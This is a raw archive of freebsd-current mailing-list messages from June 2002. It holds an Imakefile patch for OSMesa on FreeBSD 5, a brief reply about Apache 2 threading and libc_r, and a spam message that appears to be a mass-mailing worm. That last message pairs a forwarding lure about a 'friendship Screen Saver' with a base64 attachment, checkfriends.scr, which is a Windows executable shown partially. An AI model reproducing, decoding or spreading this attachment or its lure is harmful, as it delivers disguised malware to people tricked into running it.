Motoyuki Konno                  motoyuki@bsdclub.org             (Home)
                                motoyuki@FreeBSD.ORG  (FreeBSD Project)
                                http://www.freebsd.org/~motoyuki/ (WWW)
--

--Multipart_Fri_Jun_21_19:43:50_2002-1
Content-Type: text/plain; charset=US-ASCII

--- lib/GL/mesa/src/OSmesa/Imakefile.orig	Tue Jun  5 05:43:30 2001
+++ lib/GL/mesa/src/OSmesa/Imakefile	Fri Jun 21 18:21:25 2002
@@ -8,6 +8,19 @@
 #define DoDebugLib DebugLibGlx
 #define DoProfileLib ProfileLibGlx
 
+#if defined(FreeBSDArchitecture) && (OSMajorVersion >= 5)
+
+#define LibObjCompile(dir,options) RemoveFiles($@ $(@:C!([^/]+)$!dir/\1!)) @@\
+	ClearmakeOSName \
+	$(CC) -c $(CCOPTIONS) $(THREADS_CFLAGS) $(ALLDEFINES) \
+	options $*.c -o $(@:C!([^/]+)$!dir/\1!)
+
+#define ObjectCompile(options) RemoveFile($@) @@\
+	ClearmakeOSName \
+	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
+
+#endif
+
 #include "../Imakefile.inc"
 #ifdef i386Architecture
 #include "../X86/Imakefile.inc"
@@ -58,7 +71,7 @@
 LIBNAME = OSMesa
 SOREV = 3.3
 
-
+#if !defined(LibInstall) || LibInstall || (!defined(ModInstall) || ModInstall)
 #if DoNormalLib
 NormalLibraryTarget($(LIBNAME), $(UOBJS))
 InstallLibrary($(LIBNAME),$(USRLIBDIR))
@@ -77,6 +90,7 @@
 #if DoProfileLib
 ProfiledLibraryTarget($(LIBNAME), $(POBJS))
 InstallLibrary($(LIBNAME)_p,$(USRLIBDIR))
+#endif
 #endif
 
 DependTarget()



--Multipart_Fri_Jun_21_19:43:50_2002-1--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  3:48:24 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 4D68537B407; Fri, 21 Jun 2002 03:48:20 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5LAmJb20379;
	Fri, 21 Jun 2002 12:48:19 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5LAmJ9014234540;
	Fri, 21 Jun 2002 12:48:19 +0200 (MES)
Date: Fri, 21 Jun 2002 12:50:14 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Anders Nordby <anders@FreeBSD.org>
Cc: <current@FreeBSD.org>, <deischen@FreeBSD.org>
Subject: Re: (forw) Apache2 in threaded mode for FreeBSD..
In-Reply-To: <20020618235243.GA82327@totem.fix.no>
Message-ID: <20020621124905.E550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi Daniel,

>
> Just spotted this on the Apache development mailinglist. It seems they
> need our help to fix threads issues, but have not succeeded in that and
> gave up.. :/
>
> Is there anything we can get done to help make Apache 2 on FreeBSD work
> well in threaded/perchild mode?

Could you have a look into that ? Apache people told me that
this is a bug in FreeBSD libc_r.

Martin


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  4:37:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.FreeBSD.org (i1972.vwr.wanadoo.nl [194.134.215.188])
	by hub.freebsd.org (Postfix) with SMTP id AA14737B401
	for <freebsd-current@FreeBSD.org>; Fri, 21 Jun 2002 04:36:39 -0700 (PDT)
From: cassy_qt <cassy_qt@hotmail.com>
To: freebsd-current@FreeBSD.org
Subject: Fw: charming Love to ur lovers !
Date: Fri,21 Jun 2002 13:34:37 PM
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary=secxrvx
Message-Id: <20020621113639.AA14737B401@hub.freebsd.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--secxrvx
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<FONT></FONT>
Hi <BR>Check the Attachement ..<BR>See u<BR><BR>cassy_qt<BR><BR>----- Original Message -----<BR>From: "friendshipbird" < urfriend@lovers.net ><BR>To: < cassy_qt@hotmail.com ><BR>Sent: Fri,21 Jun 2002 13:34:37 PM<BR>Subject: charming Love to ur lovers !<BR><BR><BR>This e-mail is never sent unsolicited. If you need to unsubscribe, <BR>follow the instructions at the bottom of the message.<BR>***********************************************************<BR><BR>Enjoy this friendship Screen Saver and Check ur friends circle...<BR><BR>Send this screensaver from www.lovers.net to everyone you<BR>consider a FRIEND, even if it means sending it back to the person<BR>who sent it to you. If it comes back to you, then you'll know you<BR>have a circle of friends.<BR><BR>* To remove yourself from this mailing list, point your browser to: <BR>http://lovers.net/remove?freescreensaver <BR>* Enter your email address (cassy_qt@hotmail.com) in the field provided and click "Unsubscribe". <BR><BR>OR... <BR><BR>* Reply to this message with the word "REMOVE" in the subject line.<BR><BR>This message was sent to address  cassy_qt@hotmail.com<BR>X-PMG-Recipient: cassy_qt@hotmail.com<BR> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <BR></BODY></HTML>

--secxrvx
Content-Type: application/octet-stream;
	name=checkfriends.scr
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="checkfriends.scr"

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
